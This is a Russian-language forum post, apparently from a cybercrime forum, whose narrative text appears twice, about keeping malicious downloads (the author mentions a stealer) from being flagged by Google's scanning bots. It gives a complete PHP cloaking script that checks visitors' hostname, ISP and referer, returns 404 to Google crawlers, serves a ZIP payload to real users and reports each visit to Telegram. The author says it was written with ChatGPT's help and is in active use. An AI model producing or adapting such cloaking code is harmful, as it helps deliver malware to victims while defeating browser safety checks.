Приветствую всех.
Статья, в основном, для новичков. Но может быть какие-то интересные моменты или идеи найдут для себя и "бывалые".
Приятного прочтения.
Предисловие. (Если тебе быстро и по делу - пропускай, переходи сразу к разделу "Создаем свой shit", тут кулл-стори)
За окном зима. Все по-немногу отходили от новогодних праздников. Кроме подарков, полученных от родных и близких, все мы получили еще один общий подарок - довольно крупное обновление в Google.
Это обновление было незаметно для рядовых пользователей, но большинство тех, кто так или иначе, в своей работе выдает "вредоносные" файлы через Chrome или заливает различного рода приложения в Play Market, ощутили его сполна.
Выдача из Dropbox стала useless. Прилы с WebView начали отлетать раньше, чем апрувнется первая РК. Залитый и проверенный пол часа назад файл, начал ловить табличку "Файл вредоностный". Праздники закончились и началась гонка с IT-корпорацией за завоевание сердец (компов) обычных и не очень граждан.
Ищем стартовую точку.
Первым делом был проведен тест и сравнение статистики разными трекающими методами. Первый трекер: клоака на ленде, второй: трекер на кнопке "скачать", третий: отстук на ip-logger встроенный в крипт. Результат такого трекинга был более чем интресным, и главное, что раньше такого не наблюдалось, это действительно было изменение в работе гугл-ботов.
Наблюдение дало следующие результаты: некторые клики по кнопке скачать не были замечены в клоаке ни как "допущенные" ни как "заблокированные", проверка ip этих кликов со 100% вероятностью показывала какой-либо из сервисов гугла, чаще всего "cache.google", реже "proxy.google" и "googleusercontent". Эти же ip стучали на ip-logger, встроенный в крипт и самое важное - прямо в стилак.
Дальше потребовалось немного времени и контроль ситуации в режиме "он-лайн". Заливаю файл на хост, проверяю скачивание из хрома и детект ВД - все чисто. Включаем поток, ждем. 1й - 4й клик, ip есть и в клоаке и в трекерах, проверям файл - все в порядке. 5й клик по кнопке, в клоаке пусто, в стилак стучит бот гугла. Проверяем линк - алерт.
Собираем всю полученную с тестов информацию в кучу и получаем такую картину (как я ее вижу): гугл-бот ныряет прямо за юзером на блек, кликает по кнопке скачать (либо берет линк прямо у юзера из браузера и так же качает файл). Бот полноценно скачивает файл, запускает и принимает решение - опасен файл или нет. Если решение, что файл опасен - линк получает алерт.
В целом задача ясна - нужно не дать боту скачать файл, приступимс.
Создаем свой shit
После проведенных тестов со сбитием хеша, уникализации линка, уникализации контента в архиве и прочих техник, я решил остановиться на одной, котрую подсмотрел (и протестировал) у BlackTDS и адаптировал. В итоге в бою этот метод показал себя как самый эффективный из простых, который продлевает файлу жизнь аж до момента пока хром не выдаст юзеру алерт с просьбой отправить файл на проверку (тут уже только блочить гугл на уровне софта, файл в таком случае берется прямо с винчестера юзера).
Утром стулья Сначала код, вечером деньги после - пояснения.
В общем-то весь код содержит комментарии к действиям, но я все же немного разжую пошагово логику его работы, чтобы проще было модернизировать его под себя.
Первым делом мы получаем реферер пользователя, который тыкнул по кнопке скачать, вычленяем из него корневой домен, и то же самое делаем с текущим местом расположения нашей пыхи.
Логика всей этой движухи заключается в последующем сравнении корневого домена реферера и корневого домена, где находится php файл, чтобы исключить попытки скачать файл извне (если ваша пыха будет находиться на другом домене, то нужно будет редактировать эту проверку под себя).
Следующим этапом переходим к сбору информации о пользователе. Получаем его ip, хостнейм. С имеющимся ip топаем на check-host.net и собираем дополнительную информацию об имеющемся ip.
Дальше классическое объявление токена тг-бота и чат id для "отчетов в тележку". В моем случае используется 2 chat-id, в первый я отправляю информацию о ботах, во второй об одобренных кликах (задрот статистик, да, извините).
Ну и следующий шаг - самый главный. Мы проверяем "а не гугл ли ты часом? а если въе*ать и переспросить?". Прогоняем все полученные данных о хосте, орагнизации, ISP и тд на наличие строки "google" в разных вариантах ее написания, чтобы наверняка. Отсекаем пустой реферер и реферер, который не совпадает с текущим доменом пыхи.
Ну и собственно в зависимости от результата проверки посылаем бота на 404, а нормальному, ровному пользователю отдаем нашего зверька. По приколу можете редиректнуть бота на рик-ролл )))))
Итоги. Результаты. Оправдания.
Начну с оправданий.
Опытные пыхеры, давайте договоримся: без ссаных тряпок, тапок и трусов в мою сторону. Я не пыхер, сие чудо-техники писалось пошаговым тыканьем палки в ЧатГПТ и правками того, что он выдал с помощью гугла и стаковера. Если там что-то где-то можно было написать грамотнее и красивее - ты красава, что это знаешь, бери, делай, пользуйся.
Продолжу результатами.
С первого дня и по сей день, все, с кем я работаю или работал пользуются этой пыхой, объединяют ее с дополнительными трекерами и техниками по типу "выдавать файл со старорег цпанельки" и все работает как часы. Если файл изначально выдается без алерта, то он его не поймает достаточно продолжительное время. Хотите верьте, хотите нет, инструмент у вас перед глазами, проверяйте сами.
Итоги?
Итоги подведите сами. Если возьмете на вооружение и понравится, можете влепить лайк, можете просто отписать ниже, что все работает. А можете ничего не писать и не ставить реакции, просто кайфуйте )))
Статья, в основном, для новичков. Но может быть какие-то интересные моменты или идеи найдут для себя и "бывалые".
Приятного прочтения.
Предисловие. (Если тебе быстро и по делу - пропускай, переходи сразу к разделу "Создаем свой shit", тут кулл-стори)
За окном зима. Все по-немногу отходили от новогодних праздников. Кроме подарков, полученных от родных и близких, все мы получили еще один общий подарок - довольно крупное обновление в Google.
Это обновление было незаметно для рядовых пользователей, но большинство тех, кто так или иначе, в своей работе выдает "вредоносные" файлы через Chrome или заливает различного рода приложения в Play Market, ощутили его сполна.
Выдача из Dropbox стала useless. Прилы с WebView начали отлетать раньше, чем апрувнется первая РК. Залитый и проверенный пол часа назад файл, начал ловить табличку "Файл вредоностный". Праздники закончились и началась гонка с IT-корпорацией за завоевание сердец (компов) обычных и не очень граждан.
Ищем стартовую точку.
Первым делом был проведен тест и сравнение статистики разными трекающими методами. Первый трекер: клоака на ленде, второй: трекер на кнопке "скачать", третий: отстук на ip-logger встроенный в крипт. Результат такого трекинга был более чем интресным, и главное, что раньше такого не наблюдалось, это действительно было изменение в работе гугл-ботов.
Наблюдение дало следующие результаты: некторые клики по кнопке скачать не были замечены в клоаке ни как "допущенные" ни как "заблокированные", проверка ip этих кликов со 100% вероятностью показывала какой-либо из сервисов гугла, чаще всего "cache.google", реже "proxy.google" и "googleusercontent". Эти же ip стучали на ip-logger, встроенный в крипт и самое важное - прямо в стилак.
Дальше потребовалось немного времени и контроль ситуации в режиме "он-лайн". Заливаю файл на хост, проверяю скачивание из хрома и детект ВД - все чисто. Включаем поток, ждем. 1й - 4й клик, ip есть и в клоаке и в трекерах, проверям файл - все в порядке. 5й клик по кнопке, в клоаке пусто, в стилак стучит бот гугла. Проверяем линк - алерт.
Собираем всю полученную с тестов информацию в кучу и получаем такую картину (как я ее вижу): гугл-бот ныряет прямо за юзером на блек, кликает по кнопке скачать (либо берет линк прямо у юзера из браузера и так же качает файл). Бот полноценно скачивает файл, запускает и принимает решение - опасен файл или нет. Если решение, что файл опасен - линк получает алерт.
В целом задача ясна - нужно не дать боту скачать файл, приступимс.
Создаем свой shit
После проведенных тестов со сбитием хеша, уникализации линка, уникализации контента в архиве и прочих техник, я решил остановиться на одной, котрую подсмотрел (и протестировал) у BlackTDS и адаптировал. В итоге в бою этот метод показал себя как самый эффективный из простых, который продлевает файлу жизнь аж до момента пока хром не выдаст юзеру алерт с просьбой отправить файл на проверку (тут уже только блочить гугл на уровне софта, файл в таком случае берется прямо с винчестера юзера).
PHP:
<?php
//Получение значения реферера
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
//Получение текущего домена
$currentDomain = parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST);
$expectedDomain = explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 2] . '.' . explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 1];
//Получение домена из реферера
$refererDomainFull = parse_url($referer, PHP_URL_HOST);
$refererDomain = explode('.', $refererDomainFull)[count(explode('.', $refererDomainFull)) - 2] . '.' . explode('.', $refererDomainFull)[count(explode('.', $refererDomainFull)) - 1];
//Проверка ip пользователя
$user_ip = $_SERVER['REMOTE_ADDR'];
// Получение имени хоста
$hostname = gethostbyaddr($user_ip);
// API Check-Host.net
$url = "https://check-host.net/ip-info?host={$user_ip}";
// Получение информации об ISP и организации
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
//Проверка значения в ISP
$isp_pos = strpos($response, 'ISP</td>');
if ($isp_pos !== false) {
$isp_start = strpos($response, '<td>', $isp_pos)+4;
$isp_end = strpos($response, '</td>', $isp_start);
$isp = substr($response, $isp_start, $isp_end - $isp_start);
} else {
$isp = 'empty';
}
//Проверка значения в Organization
$org_pos = strpos($response, 'Organization</td>');
if ($org_pos !== false) {
$org_start = strpos($response, '<td>', $org_pos)+4;
$org_end = strpos($response, '</td>', $org_start);
$org = substr($response, $org_start, $org_end - $org_start);
} else {
$org = 'empty';
}
//Проверка значения в Country
$country_pos = strpos($response, 'Country</td>');
if ($country_pos !== false) {
$country_start = strpos($response, '<td>', $country_pos)+4;
$country_end = strpos($response, '</td>', $country_start);
$country = substr($response, $country_start, $country_end - $country_start);
$country = trim(strip_tags($country));
} else {
$country = 'empty';
}
$token = "BOT_TOKEN"; // TOKEN между ковычек
$chat_id_bot = "CHAT_ID_FOR_BOTS"; // ID между ковычек
$chat_id_man = "CHAT_ID_FOR_GOODS"; // ID между ковычек
//Проверка
if (strpos($hostname, 'google') !== false
|| strpos($isp, 'google') !== false
|| strpos($org, 'google') !== false
|| strpos($hostname, 'Google') !== false
|| strpos($isp, 'Google') !== false
|| strpos($org, 'Google') !== false
|| strpos($hostname, 'GOOGLE') !== false
|| strpos($isp, 'GOOGLE') !== false
|| strpos($org, 'GOOGLE') !== false
|| empty($referer)
|| $refererDomain !== $expectedDomain)
{
// Если хотя бы одна из переменных содержит "google", пустой реферер или реферер не соответствует домену - отправляем пользователя на 404
$arr = array(
'🌐 #BOT_' => $expectedDomain,
'🔗Ip Address: ' => $user_ip,
'⛱Ip Host: ' => $hostname,
'📊Ip ISP: ' => $isp,
'🧠Ip Org: ' => $org,
'🏁Ip Country: ' => $country,
'🧊Referer Domain: ' => $refererDomain,
);
foreach($arr as $key => $value) {
$txt .= "<b>".$key."</b>".$value."\n";
};
$txt = urlencode($txt);
$sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id_bot}&parse_mode=html&text={$txt}","r");
if ($sendToTelegram){
header_remove();
header('Connection: close');
http_response_code(404);
die;
} else { echo "ERROR";}
} else {
// Если ни одна из переменных не содержит "google", а реферер совпадет с текущим доменом отправляем пользователя на file
$arr = array(
'🌐 #MAN_' => $expectedDomain,
'🔗Ip Address: ' => $user_ip,
'⛱Ip Host: ' => $hostname,
'📊Ip ISP: ' => $isp,
'🧠Ip Org: ' => $org,
'🏁Ip Country: ' => $country,
'🧊Referer Domain: ' => $refererDomain,
);
foreach($arr as $key => $value) {
$txt .= "<b>".$key."</b>".$value."\n";
};
$txt = urlencode($txt);
$sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id_man}&parse_mode=html&text={$txt}","r");
if($sendToTelegram){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=FILE.zip'); //Имя выданного юзеру файла
header('Content-Description: File Transfer');
readfile('https://SOMELINK.com/FOLDER/FILE.zip'); //линк на файл
die;
} else { Echo "ERROR";}
}
?>
В общем-то весь код содержит комментарии к действиям, но я все же немного разжую пошагово логику его работы, чтобы проще было модернизировать его под себя.
Первым делом мы получаем реферер пользователя, который тыкнул по кнопке скачать, вычленяем из него корневой домен, и то же самое делаем с текущим местом расположения нашей пыхи.
Логика всей этой движухи заключается в последующем сравнении корневого домена реферера и корневого домена, где находится php файл, чтобы исключить попытки скачать файл извне (если ваша пыха будет находиться на другом домене, то нужно будет редактировать эту проверку под себя).
Следующим этапом переходим к сбору информации о пользователе. Получаем его ip, хостнейм. С имеющимся ip топаем на check-host.net и собираем дополнительную информацию об имеющемся ip.
Дальше классическое объявление токена тг-бота и чат id для "отчетов в тележку". В моем случае используется 2 chat-id, в первый я отправляю информацию о ботах, во второй об одобренных кликах (задрот статистик, да, извините).
Ну и следующий шаг - самый главный. Мы проверяем "а не гугл ли ты часом? а если въе*ать и переспросить?". Прогоняем все полученные данных о хосте, орагнизации, ISP и тд на наличие строки "google" в разных вариантах ее написания, чтобы наверняка. Отсекаем пустой реферер и реферер, который не совпадает с текущим доменом пыхи.
Ну и собственно в зависимости от результата проверки посылаем бота на 404, а нормальному, ровному пользователю отдаем нашего зверька. По приколу можете редиректнуть бота на рик-ролл )))))
Итоги. Результаты. Оправдания.
Начну с оправданий.
Опытные пыхеры, давайте договоримся: без ссаных тряпок, тапок и трусов в мою сторону. Я не пыхер, сие чудо-техники писалось пошаговым тыканьем палки в ЧатГПТ и правками того, что он выдал с помощью гугла и стаковера. Если там что-то где-то можно было написать грамотнее и красивее - ты красава, что это знаешь, бери, делай, пользуйся.
Продолжу результатами.
С первого дня и по сей день, все, с кем я работаю или работал пользуются этой пыхой, объединяют ее с дополнительными трекерами и техниками по типу "выдавать файл со старорег цпанельки" и все работает как часы. Если файл изначально выдается без алерта, то он его не поймает достаточно продолжительное время. Хотите верьте, хотите нет, инструмент у вас перед глазами, проверяйте сами.
Итоги?
Итоги подведите сами. Если возьмете на вооружение и понравится, можете влепить лайк, можете просто отписать ниже, что все работает. А можете ничего не писать и не ставить реакции, просто кайфуйте )))
Последнее редактирование:
